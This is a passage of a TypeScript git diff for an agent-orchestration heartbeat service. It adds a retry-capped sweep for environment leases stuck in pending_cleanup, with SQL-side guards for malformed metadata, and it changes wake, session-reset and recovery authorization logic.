 } from "./issue-continuation-summary.js";
 import { buildDocumentReviewContext, buildPlanReviewContext } from "./plan-review-context.js";
 import { executionWorkspaceService, mergeExecutionWorkspaceConfig } from "./execution-workspaces.js";
+import {
+  GIT_BRANCH_OWNERSHIP_METADATA_KEY,
+  GIT_BRANCH_OWNERSHIP_METADATA_VERSION,
+  isRuntimeOwnedGitBranch,
+} from "./execution-workspace-branch-ownership.js";
 import { workspaceOperationService, type WorkspaceOperationRecorder } from "./workspace-operations.js";
 import { isProcessGroupAlive, terminateLocalService } from "./local-service-supervisor.js";
 import {
@@ -235,6 +244,7 @@ import {
   withRecoveryModelProfileHint,
 } from "./recovery/model-profile-hint.js";
 import { ACTIVE_RUN_OUTPUT_SUSPICION_THRESHOLD_MS as RECOVERY_ACTIVE_RUN_OUTPUT_SUSPICION_THRESHOLD_MS, recoveryService } from "./recovery/service.js";
+import { collectDispositionRepairSourceState } from "./recovery/disposition-repair.js";
 import {
   buildIssueReviewPathLostIdempotencyKey,
   decideIssueReviewPathRecovery,
@@ -254,6 +264,7 @@ import {
   DIRECT_NON_INVOKABLE_STATUSES,
   type AgentOrgRow,
 } from "./agent-invokability.js";
+import { isHeartbeatWakeOnDemandEnabled } from "./heartbeat-policy.js";
 import {
   redactQuarantinedBodyForHigherTrust,
   sanitizeQuarantinedCommentForHigherTrust,
@@ -356,6 +367,67 @@ const PAPERCLIP_WAKE_PAYLOAD_KEY = "paperclipWake";
 const PAPERCLIP_AGENT_MESSAGE_KEY = "paperclipAgentMessage";
 const PAPERCLIP_HARNESS_CHECKOUT_KEY = "paperclipHarnessCheckedOut";
 const DETACHED_PROCESS_ERROR_CODE = "process_detached";
+// The reaper sweeps at most this many pending_cleanup leases per tick.
+const PENDING_CLEANUP_SWEEP_PAGE_SIZE = 20;
+// The reaper stops retrying a pending_cleanup lease after this many attempts.
+const PENDING_CLEANUP_SWEEP_ATTEMPT_CAP = 5;
+// The reaper stores its retry state under these keys in the lease metadata.
+const PENDING_CLEANUP_ATTEMPTS_METADATA_KEY = "pendingCleanupRetryAttempts";
+const PENDING_CLEANUP_CAP_WARNED_METADATA_KEY = "pendingCleanupRetryCapWarned";
+
+// A provider or plugin destroy rejection can carry a bearer credential, a
+// signed URL, or provider response detail in its name, code, message, cause, or
+// stack. The exception fields cross the server boundary, so they are not a
+// trusted enum. The pending_cleanup sweep logs never read the exception. Each
+// catch site logs a constant, locally generated `errorKind` instead.
+const PENDING_CLEANUP_RETRY_ERROR_KIND = "destroy_failed";
+const PENDING_CLEANUP_SWEEP_ERROR_KIND = "sweep_failed";
+
+// Read the stored retry attempt count as a safe value, directly in SQL. A
+// provider can write a malformed value under the attempts key. The type guard
+// makes any non-number value read as zero. The reader computes as numeric and
+// never casts to int, so a finite number outside the 32-bit range (for example
+// 1e300) never throws. The reader clamps a negative value to zero and a positive
+// value to the attempt cap. One malformed lease therefore never aborts the page
+// sweep. This matches the TypeScript reader `readPendingCleanupRetryAttempts`,
+// which clamps to the same range. The claim predicate compares the two readers,
+// so both must yield the same value for every input.
+function pendingCleanupAttemptsSql() {
+  return sql`
+    case
+      when jsonb_typeof(${environmentLeases.metadata} -> ${PENDING_CLEANUP_ATTEMPTS_METADATA_KEY}) = 'number'
+        then least(
+          greatest(
+            floor((${environmentLeases.metadata} ->> ${PENDING_CLEANUP_ATTEMPTS_METADATA_KEY})::numeric),
+            0
+          ),
+          ${PENDING_CLEANUP_SWEEP_ATTEMPT_CAP}
+        )
+      else 0
+    end`;
+}
+
+// Choose the `jsonb_set` target root. A provider can write a scalar or array
+// metadata root. `jsonb_set` fails on a non-object root, so the reader uses the
+// stored metadata only when its root is an object. A NULL, scalar, or array root
+// reads as an empty object. `jsonb_typeof(NULL)` is NULL, so the else branch also
+// covers a NULL root.
+function pendingCleanupMetadataObjectSql() {
+  return sql`case when jsonb_typeof(${environmentLeases.metadata}) = 'object' then ${environmentLeases.metadata} else '{}'::jsonb end`;
+}
+
+// Read the stored cap-warned flag as a safe boolean, directly in SQL. A
+// malformed value reads as false, so the boolean cast never throws.
+function pendingCleanupCapWarnedSql() {
+  return sql`coalesce(
+    case
+      when jsonb_typeof(${environmentLeases.metadata} -> ${PENDING_CLEANUP_CAP_WARNED_METADATA_KEY}) = 'boolean'
+        then (${environmentLeases.metadata} ->> ${PENDING_CLEANUP_CAP_WARNED_METADATA_KEY})::boolean
+      else false
+    end,
+    false
+  )`;
+}
 const REPO_ONLY_CWD_SENTINEL = "/__paperclip_repo_only__";
 const MANAGED_WORKSPACE_GIT_CLONE_TIMEOUT_MS = 10 * 60 * 1000;
 const MAX_INLINE_WAKE_COMMENTS = 8;
@@ -394,6 +466,14 @@ const WORKSPACE_VALIDATION_FAILURE_CODE = "workspace_validation_failed";
 const WORKSPACE_VALIDATION_RECOVERY_CAUSE = "workspace_validation_failed";
 const CONFIGURATION_INCOMPLETE_FAILURE_CODE = "configuration_incomplete";
 const CONFIGURATION_INCOMPLETE_RECOVERY_CAUSE = "configuration_incomplete";
+// Error codes that mark a pre-dispatch setup failure. The adapter process never
+// started, so no agent could post an issue comment. The setup catch writes one
+// of these codes when a failure happens before `adapter.execute`.
+const PRE_ADAPTER_SETUP_FAILURE_CODES = new Set<string>([
+  "setup_failed",
+  CONFIGURATION_INCOMPLETE_FAILURE_CODE,
+  WORKSPACE_VALIDATION_FAILURE_CODE,
+]);
 const EXECUTION_REVIEW_PARTICIPANT_RECOVERY_RETRY_REASON = "execution_review_participant_recovery";
 const EXECUTION_REVIEW_PARTICIPANT_RECOVERY_WAKE_REASON = "execution_review_participant_recovery";
 const EXECUTION_REVIEW_PARTICIPANT_RECOVERY_CAUSE = "execution_review_participant_recovery";
@@ -408,6 +488,7 @@ const GIT_SENSITIVE_LOCAL_ADAPTER_TYPES = new Set([
   "gemini_local",
   "grok_local",
   "hermes_local",
+  "kimi_local",
   "opencode_local",
   "pi_local",
 ]);
@@ -476,6 +557,35 @@ export class ConfigurationIncompleteFailure extends Error {
   }
 }
 
+// Build the configuration-incomplete result payload for a workspace base ref
+// that never resolved to a commit. The setup catch maps this to errorCode
+// `configuration_incomplete`, so the recovery path routes it to a human owner
+// instead of a dispatched-then-failed run. The `fingerprint` uses the canonical
+// remote ref, not the operator spelling. Two equivalent spellings of one remote
+// branch (`fix/foo` and `origin/fix/foo`) share one fingerprint, so a repeated
+// failure reuses one active recovery action and does not reset the attempt
+// count or post a duplicate notice. A different branch makes a new action.
+function buildUnresolvedWorkspaceBaseRefResultJson(
+  run: typeof heartbeatRuns.$inferSelect,
+  error: UnresolvedWorkspaceBaseRefError,
+): Record<string, unknown> {
+  const context = parseObject(run.contextSnapshot);
+  return {
+    configurationIncomplete: {
+      reason: "workspace_base_ref_unresolved",
+      companyId: run.companyId,
+      agentId: run.agentId,
+      issueId: readNonEmptyString(context.issueId) ?? null,
+      projectId: readNonEmptyString(context.projectId) ?? null,
+      requestedRef: error.requestedRef,
+      attemptedRefs: error.attemptedRefs,
+      fetchError: error.fetchError,
+      fingerprint: `workspace_base_ref:${error.recoveryIdentityRef}`,
+      missingBindings: [],
+    },
+  };
+}
+
 export interface SharedWorkspaceHolder {
   runId: string;
   agentId: string;
@@ -708,6 +818,7 @@ const SESSIONED_LOCAL_ADAPTERS = new Set([
   "cursor",
   "gemini_local",
   "hermes_local",
+  "kimi_local",
   "opencode_local",
   "pi_local",
 ]);
@@ -1270,7 +1381,7 @@ async function resolveRunScopedMentionedSkillKeys(input: {
     .filter((skillKey): skillKey is string => Boolean(skillKey));
 }
 
-function leaseReleaseStatusForRunStatus(
+export function leaseReleaseStatusForRunStatus(
   status: string | null | undefined,
 ): Extract<EnvironmentLeaseStatus, "released" | "expired" | "failed"> {
   if (status === "cancelled") return "expired";
@@ -1320,6 +1431,7 @@ export function mergeExecutionWorkspaceMetadataForPersistence(input: {
   existingMetadata: Record<string, unknown> | null | undefined;
   source: string;
   createdByRuntime: boolean;
+  strategyType: "project_primary" | "git_worktree";
   configSnapshot: Record<string, unknown> | null;
   shouldReuseExisting: boolean;
   shouldRefreshConfigSnapshot?: boolean;
@@ -1332,6 +1444,11 @@ export function mergeExecutionWorkspaceMetadataForPersistence(input: {
     source: input.source,
     createdByRuntime: input.createdByRuntime,
   } as Record<string, unknown>;
+  if (input.strategyType === "git_worktree") {
+    base[GIT_BRANCH_OWNERSHIP_METADATA_KEY] = GIT_BRANCH_OWNERSHIP_METADATA_VERSION;
+  } else {
+    delete base[GIT_BRANCH_OWNERSHIP_METADATA_KEY];
+  }
 
   const existingSnapshot = parseObject(base.baseRefSnapshot);
   if (
@@ -1361,6 +1478,12 @@ export function mergeExecutionWorkspaceMetadataForPersistence(input: {
   return mergeExecutionWorkspaceConfig(base, input.configSnapshot);
 }
 
+export function resolveExecutionWorkspaceBranchOwnership(
+  executionWorkspace: Pick<RealizedExecutionWorkspace, "created" | "branchCreatedByRuntime">,
+) {
+  return executionWorkspace.branchCreatedByRuntime;
+}
+
 export function stripWorkspaceRuntimeFromExecutionRunConfig(config: Record<string, unknown>) {
   const nextConfig = { ...config };
   delete nextConfig.workspaceRuntime;
@@ -2803,6 +2926,12 @@ export type ReferencedProjectFailureReason = "authorization" | "resolution" | "s
 export interface ReferencedProjectFailure {
   projectId: string;
   reason: ReferencedProjectFailureReason;
+  /**
+   * The failure message, when the layer that dropped the project produced one. A `staging` failure
+   * carries the remote extract or sync error here, so a reader of the run log learns why the project
+   * dropped. An `authorization` or `resolution` drop omits this field.
+   */
+  error?: string;
 }
 
 export interface ResolvedRunReferencedProjects {
@@ -3147,6 +3276,8 @@ export interface ReferencedProjectRunObservability {
   referenced_project_failures: Array<{
     project_id: string;
     reason: ReferencedProjectFailureReason;
+    /** The failure message for a `staging` drop; absent for an `authorization` or `resolution` drop. */
+    error?: string;
   }>;
 }
 
@@ -3169,6 +3300,9 @@ export function buildReferencedProjectRunObservability(input: {
     referenced_project_failures: input.failures.map((failure) => ({
       project_id: failure.projectId,
       reason: failure.reason,
+      // Carry the error only when the layer produced one, so an authorization or resolution drop
+      // stays a two-field entry and a staging drop names its reason.
+      ...(failure.error !== undefined ? { error: failure.error } : {}),
     })),
   };
 }
@@ -4060,10 +4194,8 @@ export function shouldResetTaskSessionForWake(
   const wakeReason = readNonEmptyString(contextSnapshot?.wakeReason);
   if (
     wakeReason === "issue_assigned" ||
-    wakeReason === "execution_review_requested" ||
     wakeReason === EXECUTION_REVIEW_PARTICIPANT_RECOVERY_WAKE_REASON ||
     wakeReason === "execution_approval_requested" ||
-    wakeReason === "execution_changes_requested" ||
     // PF-4: unscoped timer wakes are exploratory ("any new work?") and should
     // not accumulate low-value inbox scans. Issue-scoped timer wakes are
     // continuation work, so reuse their task session to avoid paying the full
@@ -4173,12 +4305,10 @@ export function describeSessionResetReason(
 
   const wakeReason = readNonEmptyString(contextSnapshot?.wakeReason);
   if (wakeReason === "issue_assigned") return "wake reason is issue_assigned";
-  if (wakeReason === "execution_review_requested") return "wake reason is execution_review_requested";
   if (wakeReason === EXECUTION_REVIEW_PARTICIPANT_RECOVERY_WAKE_REASON) {
     return `wake reason is ${EXECUTION_REVIEW_PARTICIPANT_RECOVERY_WAKE_REASON}`;
   }
   if (wakeReason === "execution_approval_requested") return "wake reason is execution_approval_requested";
-  if (wakeReason === "execution_changes_requested") return "wake reason is execution_changes_requested";
   // PF-4: paired with shouldResetTaskSessionForWake — keep the reason wording
   // explicit so run logs make session reuse/reset behavior legible.
   if (wakeReason === "heartbeat_timer" && !deriveTaskKey(contextSnapshot, null)) {
@@ -4331,10 +4461,22 @@ export function resolveExecutionWorkspaceReuseRequestForIssue(input: {
   issueExecutionWorkspaceId?: string | null;
   issueExecutionWorkspacePreference?: string | null;
   existingExecutionWorkspaceStatus?: string | null;
+  requestedExistingBranch?: string | null;
+  existingExecutionWorkspaceBranchName?: string | null;
 }): ExecutionWorkspaceReuseRequestForIssue {
   const requestedExecutionWorkspaceId = readNonEmptyString(input.issueExecutionWorkspaceId);
+  // An explicitly pinned existing branch outranks an inherited reuse_existing
+  // binding: a persisted workspace on any other branch (or with no recorded
+  // branch) is stale for this issue, so dispatch realizes the pinned branch
+  // instead of restoring the mismatched workspace.
+  const requestedExistingBranch = readNonEmptyString(input.requestedExistingBranch);
+  const existingWorkspaceMatchesRequestedBranch =
+    requestedExistingBranch === null ||
+    readNonEmptyString(input.existingExecutionWorkspaceBranchName) === requestedExistingBranch;
   const requestedShouldReuseExisting =
-    input.issueExecutionWorkspacePreference === "reuse_existing" && requestedExecutionWorkspaceId !== null;
+    input.issueExecutionWorkspacePreference === "reuse_existing" &&
+    requestedExecutionWorkspaceId !== null &&
+    existingWorkspaceMatchesRequestedBranch;
 
   return {
     requestedExecutionWorkspaceId,
@@ -4780,6 +4922,12 @@ function buildSessionConfigCategoryValues(input: {
   agentConfigRevision: unknown;
 }) {
   const sanitizedSecretManifest = sanitizeSecretManifestForConfigFingerprint(input.secretManifest);
+  const workspaceConfig = { ...parseObject(input.workspaceConfig) };
+  // issues.updatedAt also advances for comments and status changes. Those are
+  // wake deltas, not execution-workspace configuration changes, so including
+  // the timestamp here makes every comment invalidate an otherwise reusable
+  // task session.
+  delete workspaceConfig.issueConfigRevisionAt;
   return {
     adapter: {
       adapterType: input.adapterType,
@@ -4790,7 +4938,7 @@ function buildSessionConfigCategoryValues(input: {
     modelProfile: input.modelProfile,
     instructions: input.instructions,
     issueOverrides: input.issueOverrides,
-    workspaceConfig: input.workspaceConfig,
+    workspaceConfig,
     environment: input.environment,
     envBindings: {
       environment: { env: input.environmentEnv },
@@ -9270,6 +9418,7 @@ export function heartbeatService(db: Db, options: HeartbeatServiceOptions = {})
         executionState: issues.executionState,
         monitorNextCheckAt: issues.monitorNextCheckAt,
         projectId: issues.projectId,
+        originKind: issues.originKind,
       })
       .from(issues)
       .where(and(eq(issues.id, issueId), eq(issues.companyId, run.companyId)))
@@ -9993,6 +10142,22 @@ export function heartbeatService(db: Db, options: HeartbeatServiceOptions = {})
       return { outcome: "not_applicable" as const, queuedRun: null };
     }
 
+    // A pre-dispatch setup failure means the adapter process never started (for
+    // example an unresolved workspace base ref). No agent could run, so no agent
+    // could post an issue comment. A missing-comment retry cannot help and would
+    // loop the identical pre-adapter failure, so mark the policy not_applicable
+    // and queue nothing.
+    if (run.errorCode != null && PRE_ADAPTER_SETUP_FAILURE_CODES.has(run.errorCode)) {
+      if (run.issueCommentStatus !== "not_applicable") {
+        await patchRunIssueCommentStatus(run.id, {
+          issueCommentStatus: "not_applicable",
+          issueCommentSatisfiedByCommentId: null,
+          issueCommentRetryQueuedAt: null,
+        });
+      }
+      return { outcome: "not_applicable" as const, queuedRun: null };
+    }
+
     const postedComment = await findRunIssueComment(run.id, run.companyId, issueId);
     if (postedComment) {
       await patchRunIssueCommentStatus(run.id, {
@@ -10711,6 +10876,7 @@ export function heartbeatService(db: Db, options: HeartbeatServiceOptions = {})
         reason: string;
         errorCode:
           | "agent_not_invokable"
+          | "heartbeat_wake_on_demand_disabled"
           | "budget_blocked"
           | "issue_not_found"
           | "issue_reassigned"
@@ -10720,7 +10886,8 @@ export function heartbeatService(db: Db, options: HeartbeatServiceOptions = {})
           | "issue_execution_lock_changed"
           | "issue_review_participant_changed"
           | "issue_paused"
-          | "issue_dependencies_blocked";
+          | "issue_dependencies_blocked"
+          | "issue_disposition_repair_superseded";
         issueId: string | null;
         details: Record<string, unknown>;
       };
@@ -10770,15 +10937,29 @@ export function heartbeatService(db: Db, options: HeartbeatServiceOptions = {})
       };
     }
 
+    if (!isHeartbeatWakeOnDemandEnabled(agent)) {
+      return {
+        allowed: false,
+        reason: "Scheduled retry suppressed because on-demand agent wakes are disabled",
+        errorCode: "heartbeat_wake_on_demand_disabled",
+        issueId,
+        details: { agentId: agent.id },
+      };
+    }
+
     if (!issueId) return { allowed: true };
 
     const issue = await db
       .select({
         id: issues.id,
+        companyId: issues.companyId,
         status: issues.status,
         assigneeAgentId: issues.assigneeAgentId,
+        assigneeUserId: issues.assigneeUserId,
         executionRunId: issues.executionRunId,
+        executionPolicy: issues.executionPolicy,
         executionState: issues.executionState,
+        monitorNextCheckAt: issues.monitorNextCheckAt,
       })
       .from(issues)
       .where(and(eq(issues.id, issueId), eq(issues.companyId, run.companyId)))
@@ -10794,6 +10975,35 @@ export function heartbeatService(db: Db, options: HeartbeatServiceOptions = {})
       };
     }
 
+    if (retryReason === ISSUE_DISPOSITION_REPAIR_RETRY_REASON) {
+      const expectedFingerprint = readNonEmptyString(contextSnapshot.dispositionRepairFingerprint);
+      const sourceState = await collectDispositionRepairSourceState(db, {
+        issue,
+        excludeRunId: run.id,
+        excludeWakeupRequestId: run.wakeupRequestId,
+      });
+      if (
+        !expectedFingerprint ||
+        sourceState.fingerprint !== expectedFingerprint ||
+        sourceState.hasActiveExecutionPath ||
+        sourceState.hasDurableWaitingPath
+      ) {
+        return {
+          allowed: false,
+          reason: "Scheduled disposition repair suppressed because the source state changed or gained a durable path",
+          errorCode: "issue_disposition_repair_superseded",
+          issueId,
+          details: {
+            issueId,
+            expectedFingerprint,
+            currentFingerprint: sourceState.fingerprint,
+            hasActiveExecutionPath: sourceState.hasActiveExecutionPath,
+            durablePathReason: sourceState.durablePathReason,
+          },
+        };
+      }
+    }
+
     if (issue.assigneeAgentId !== run.agentId) {
       if (!isNonAssigneeWorkspaceBusyRetry(retryReason, contextSnapshot)) {
         return {
@@ -12156,7 +12366,7 @@ export function heartbeatService(db: Db, options: HeartbeatServiceOptions = {})
     return {
       enabled: asBoolean(heartbeat.enabled, false),
       intervalSec: Math.max(0, asNumber(heartbeat.intervalSec, 0)),
-      wakeOnDemand: asBoolean(heartbeat.wakeOnDemand ?? heartbeat.wakeOnAssignment ?? heartbeat.wakeOnOnDemand ?? heartbeat.wakeOnAutomation, true),
+      wakeOnDemand: isHeartbeatWakeOnDemandEnabled(agent),
       maxConcurrentRuns: normalizeMaxConcurrentRuns(heartbeat.maxConcurrentRuns),
       skipTimerWhenNoActionableWork: asBoolean(
         heartbeat.skipTimerWhenNoActionableWork ??
@@ -12710,10 +12920,27 @@ export function heartbeatService(db: Db, options: HeartbeatServiceOptions = {})
     const isCurrentReviewParticipant = reviewParticipant?.type === "agent" &&
       reviewParticipant.agentId === run.agentId;
 
+    const recoveryActionId = readNonEmptyString(context.recoveryActionId);
+    const authorizedSourceScopedRecovery = wakeReason === "source_scoped_recovery_action" && recoveryActionId
+      ? await db
+        .select({ id: issueRecoveryActions.id })
+        .from(issueRecoveryActions)
+        .where(and(
+          eq(issueRecoveryActions.id, recoveryActionId),
+          eq(issueRecoveryActions.companyId, run.companyId),
+          eq(issueRecoveryActions.sourceIssueId, issue.id),
+          eq(issueRecoveryActions.ownerAgentId, run.agentId),
+          inArray(issueRecoveryActions.status, ["active", "escalated"]),
+        ))
+        .limit(1)
+        .then((rows) => Boolean(rows[0]))
+      : false;
+
     if (
       issue.assigneeAgentId !== run.agentId &&
       !isInteractionWake &&
       !isCurrentReviewParticipant &&
+      !authorizedSourceScopedRecovery &&
       !isNonAssigneeWorkspaceBusyRetry(retryReason, context)
     ) {
       return {
@@ -13123,6 +13350,279 @@ export function heartbeatService(db: Db, options: HeartbeatServiceOptions = {})
       .then((rows) => rows[0] ?? null);
   }
 
+  // Clamp the stored attempt count to the range [0, cap]. The SQL reader
+  // `pendingCleanupAttemptsSql` clamps to the same range, so both readers yield
+  // the same value for every input. The claim predicate compares the two values,
+  // so this alignment lets the claim match for a malformed lease.
+  function readPendingCleanupRetryAttempts(metadata: Record<string, unknown>): number {
+    const value = metadata[PENDING_CLEANUP_ATTEMPTS_METADATA_KEY];
+    if (typeof value !== "number" || !Number.isFinite(value) || value <= 0) return 0;
+    return Math.min(Math.floor(value), PENDING_CLEANUP_SWEEP_ATTEMPT_CAP);
+  }
+
+  // Atomically claim one retry attempt on a pending_cleanup lease. The update
+  // only matches when the lease is still pending_cleanup and its stored attempt
+  // count still equals `expectedAttempts`. Two concurrent sweeps read the same
+  // count, but Postgres serializes the two updates on the row and only the first
+  // matches the guard. The loser gets zero rows and skips the lease. This bounds
+  // the retries to the cap and stops a second destroy of the same lease.
+  // Returns true only for the sweep that won the claim.
+  //
+  // The update writes only the attempts key with `jsonb_set`. It never writes a
+  // copied metadata object, so a concurrent write to an unrelated metadata key
+  // survives. The guard reads the stored count through the safe SQL reader, so a
+  // malformed value never throws.
+  async function claimPendingCleanupRetryAttempt(
+    leaseId: string,
+    expectedAttempts: number,
+  ): Promise<boolean> {
+    const now = new Date();
+    const claimed = await db
+      .update(environmentLeases)
+      .set({
+        metadata: sql`jsonb_set(${pendingCleanupMetadataObjectSql()}, array[${PENDING_CLEANUP_ATTEMPTS_METADATA_KEY}], to_jsonb(${expectedAttempts + 1}::int), true)`,
+        lastUsedAt: now,
+        updatedAt: now,
+      })
+      .where(
+        and(
+          eq(environmentLeases.id, leaseId),
+          eq(environmentLeases.status, "pending_cleanup"),
+          sql`${pendingCleanupAttemptsSql()} = ${expectedAttempts}`,
+        ),
+      )
+      .returning({ id: environmentLeases.id });
+    return claimed.length > 0;
+  }
+
+  // Atomically claim the one-time cap warning for a lease. The update only
+  // matches when the lease is still pending_cleanup, its stored attempt count is
+  // at or above the cap, and it has not yet carried the warned flag. Two
+  // concurrent sweeps that both reach the cap race here, but only one update
+  // sets the flag and returns a row. The loser skips the warning. This keeps the
+  // warning to one log line per lease.
+  //
+  // The status and cap predicates are the last line of defense. They stop a warn
+  // flag write to a lease that left pending_cleanup or dropped below the cap
+  // between the read and this claim. The update writes only the warned key with
+  // `jsonb_set`, so a concurrent write to an unrelated metadata key survives.
+  async function claimPendingCleanupCapWarning(leaseId: string): Promise<boolean> {
+    const now = new Date();
+    const claimed = await db
+      .update(environmentLeases)
+      .set({
+        metadata: sql`jsonb_set(${pendingCleanupMetadataObjectSql()}, array[${PENDING_CLEANUP_CAP_WARNED_METADATA_KEY}], to_jsonb(true), true)`,
+        updatedAt: now,
+      })
+      .where(
+        and(
+          eq(environmentLeases.id, leaseId),
+          eq(environmentLeases.status, "pending_cleanup"),
+          sql`${pendingCleanupAttemptsSql()} >= ${PENDING_CLEANUP_SWEEP_ATTEMPT_CAP}`,
+          sql`${pendingCleanupCapWarnedSql()} = false`,
+        ),
+      )
+      .returning({ id: environmentLeases.id });
+    return claimed.length > 0;
+  }
+
+  // Defer a pending_cleanup lease whose provider plugin is not ready this tick.
+  // The sweep reads one page of the oldest rows, ordered by `updatedAt`. A lease
+  // that the sweep only skips keeps its old `updatedAt`, so it stays the oldest
+  // and refills the page on every tick. That starves a newer lease whose
+  // provider is ready. The defer bumps `updatedAt` to now, so the unavailable
+  // lease moves to the back of the queue and a ready lease takes its page slot.
+  // The defer never writes the attempt count, so a long provider outage never
+  // consumes a finite retry. The status guard keeps the write on a lease that is
+  // still pending_cleanup.
+  async function deferPendingCleanupLease(leaseId: string): Promise<void> {
+    const now = new Date();
+    await db
+      .update(environmentLeases)
+      .set({ updatedAt: now })
+      .where(
+        and(
+          eq(environmentLeases.id, leaseId),
+          eq(environmentLeases.status, "pending_cleanup"),
+        ),
+      );
+  }
+
+  // Retry the leases stranded in "pending_cleanup". A failed destroy leaves a
+  // lease in that state forever without this sweep. The reaper tick runs the
+  // sweep. The backoff equals the reaper staleness threshold, so a lease waits
+  // for that period between attempts. The sweep reads and writes the attempt
+  // count in the lease metadata. It warns once when a lease reaches the attempt
+  // cap and then stops the retries for that lease.
+  async function sweepPendingCleanupLeases(opts?: { backoffMs?: number }): Promise<{
+    swept: number;
+    destroyed: number;
+    capped: number;
+  }> {
+    const backoffMs = opts?.backoffMs ?? 0;
+    const now = new Date();
+    const cutoff = new Date(now.getTime() - backoffMs);
+
+    // Flush the in-process orphan-cleanup buffer first. A failed acquire buffers
+    // an orphan there when every synchronous pending-cleanup write failed after a
+    // failed teardown. The flush re-inserts each buffered record, so a durable
+    // `pending_cleanup` row lands once the database recovers. The flush runs
+    // before the read below, so this same tick tears down a freshly-landed row.
+    try {
+      const flushed = await environmentRuntime.flushDeferredOrphanCleanups?.();
+      if (flushed && (flushed.recovered > 0 || flushed.pending > 0)) {
+        logger.info(
+          { recovered: flushed.recovered, pending: flushed.pending },
+          "flushed the in-process orphan sandbox cleanup buffer to the database",
+        );
+      }
+    } catch {
+      // A flush failure never stops the sweep. The buffer keeps the orphan for a
+      // later tick, and the database rows below still need this sweep. The caught
+      // exception never enters the log, because a write error can carry a
+      // credential in its message, code, cause, or stack.
+      logger.warn("orphan sandbox cleanup buffer flush failed; the sweep continues");
+    }
+
+    const rows = await db
+      .select()
+      .from(environmentLeases)
+      .where(
+        and(
+          eq(environmentLeases.status, "pending_cleanup"),
+          backoffMs > 0 ? lte(environmentLeases.updatedAt, cutoff) : undefined,
+        ),
+      )
+      .orderBy(asc(environmentLeases.updatedAt))
+      .limit(PENDING_CLEANUP_SWEEP_PAGE_SIZE);
+
+    let destroyed = 0;
+    let capped = 0;
+    for (const row of rows) {
+      const metadata = { ...(row.metadata ?? {}) } as Record<string, unknown>;
+      const attempts = readPendingCleanupRetryAttempts(metadata);
+
+      if (attempts >= PENDING_CLEANUP_SWEEP_ATTEMPT_CAP) {
+        capped += 1;
+        // Warn once, then leave the lease for manual cleanup. The atomic claim
+        // keeps the warning to one log line even when two sweeps overlap.
+        if (metadata[PENDING_CLEANUP_CAP_WARNED_METADATA_KEY] !== true) {
+          const warned = await claimPendingCleanupCapWarning(row.id);
+          if (warned) {
+            logger.warn(
+              { leaseId: row.id, environmentId: row.environmentId, attempts },
+              "environment lease reached the pending_cleanup retry cap; left for manual cleanup",
+            );
+          }
+        }
+        continue;
+      }
+
+      const environment = row.environmentId
+        ? await environmentsSvc.getById(row.environmentId)
+        : null;
+      const lease = await environmentsSvc.getLeaseById(row.id);
+      if (!lease) continue;
+
+      // An orphan ephemeral lease keeps its provider, its provider lease id, and
+      // its sandbox config in the lease row. A failed acquire records it, and its
+      // environment row may be gone or foreign-bound. A reuse_by_environment lease
+      // whose environment a delete removed keeps the same recorded data, because
+      // the schema sets the environment reference to null on delete and preserves
+      // the row. Both leases tear down from the recorded lease data through
+      // `retryPendingSandboxTeardown`, which never reads the environment row. So
+      // the sweep uses that path whenever the lease is an orphan ephemeral lease
+      // or its environment row is gone. A reuse_by_environment lease whose
+      // environment still exists tears down through `destroyRunLease`. That
+      // path uses the provider and configuration recorded on the lease first;
+      // the environment is lifecycle context and only a legacy fallback.
+      const isOrphanEphemeralLease = lease.leasePolicy === "ephemeral";
+      const useRecordedTeardown = isOrphanEphemeralLease || !environment;
+
+      // Do not consume a finite cleanup attempt while the provider plugin is
+      // briefly unavailable. A plugin worker restart, a plugin reload, or a
+      // plugin reinstall makes the provider unavailable for a short window. The
+      // plugin can be missing or not ready in that window. A teardown then throws,
+      // and the atomic claim below would count that throw against the cap, so a
+      // long restart or reload could exhaust the retries and strand a live
+      // sandbox. So probe the provider first, and defer the lease this tick when
+      // the provider is not ready. The sweep preserves the pending_cleanup row,
+      // and a later sweep retries after the provider recovers. The probe reports
+      // ready only for a permanent condition (a missing provider string, a
+      // built-in provider, or no worker manager), so a genuine teardown failure
+      // still runs, throws, and counts toward the cap. A runtime with no probe
+      // method treats the lease as ready, so the sweep keeps its earlier
+      // behavior.
+      const workerReady = environmentRuntime.isPendingCleanupWorkerReady
+        ? await environmentRuntime.isPendingCleanupWorkerReady({ environment, lease })
+        : true;
+      if (!workerReady) {
+        // Move the unavailable lease to the back of the sweep queue. Otherwise
+        // the oldest unavailable rows refill the page on every tick and starve a
+        // newer lease that has a ready provider. The defer bumps `updatedAt`
+        // only, so it consumes no finite retry attempt.
+        await deferPendingCleanupLease(row.id);
+        continue;
+      }
+
+      // Atomically claim the attempt before the retry. Only the winning sweep
+      // increments the count and tears the sandbox down, so an overlapping sweep
+      // never tears the same sandbox down twice or exceeds the attempt cap. The
+      // claim records the attempt before the retry, so a thrown driver error
+      // still counts against the cap.
+      const claimed = await claimPendingCleanupRetryAttempt(row.id, attempts);
+      if (!claimed) continue;
+
+      try {
+        if (useRecordedTeardown) {
+          // Tear the sandbox down from the recorded provider config and the
+          // cleanup-authorized secret versions. The teardown returns no value
+          // and throws on failure, so the sweep releases the lease itself.
+          await environmentRuntime.retryPendingSandboxTeardown({ environment, lease });
+          await environmentsSvc.releaseLease(lease.id, "expired", {
+            cleanupStatus: "success",
+            failureReason: "pending_cleanup_retry",
+          });
+          destroyed += 1;
+        } else if (environment) {
+          const result = await environmentRuntime.destroyRunLease({
+            environment,
+            lease,
+            failureReason: "pending_cleanup_retry",
+          });
+          if (result && result.status !== "pending_cleanup") {
+            destroyed += 1;
+          }
+        }
+      } catch {
+        // The recorded-data teardown throws on failure, so revert the lease to
+        // pending_cleanup for a later sweep. The claimed attempt still counts
+        // against the cap, so the retries stay bounded. The `destroyRunLease`
+        // path reverts the lease itself, so this revert only runs for the
+        // recorded-data teardown path.
+        if (useRecordedTeardown) {
+          await environmentsSvc.releaseLease(lease.id, "pending_cleanup", {
+            cleanupStatus: "failed",
+            failureReason: "pending_cleanup_retry",
+          });
+        }
+        // Log a constant errorKind only. The exception can carry a credential in
+        // its name, code, message, cause, or stack, so the sweep never reads it.
+        logger.warn(
+          {
+            errorKind: PENDING_CLEANUP_RETRY_ERROR_KIND,
+            leaseId: row.id,
+            environmentId: row.environmentId,
+            attempts: attempts + 1,
+          },
+          "pending_cleanup lease retry failed",
+        );
+      }
+    }
+
+    return { swept: rows.length, destroyed, capped };
+  }
+
   async function reapOrphanedRuns(opts?: { staleThresholdMs?: number }) {
     const staleThresholdMs = opts?.staleThresholdMs ?? 0;
     const now = new Date();
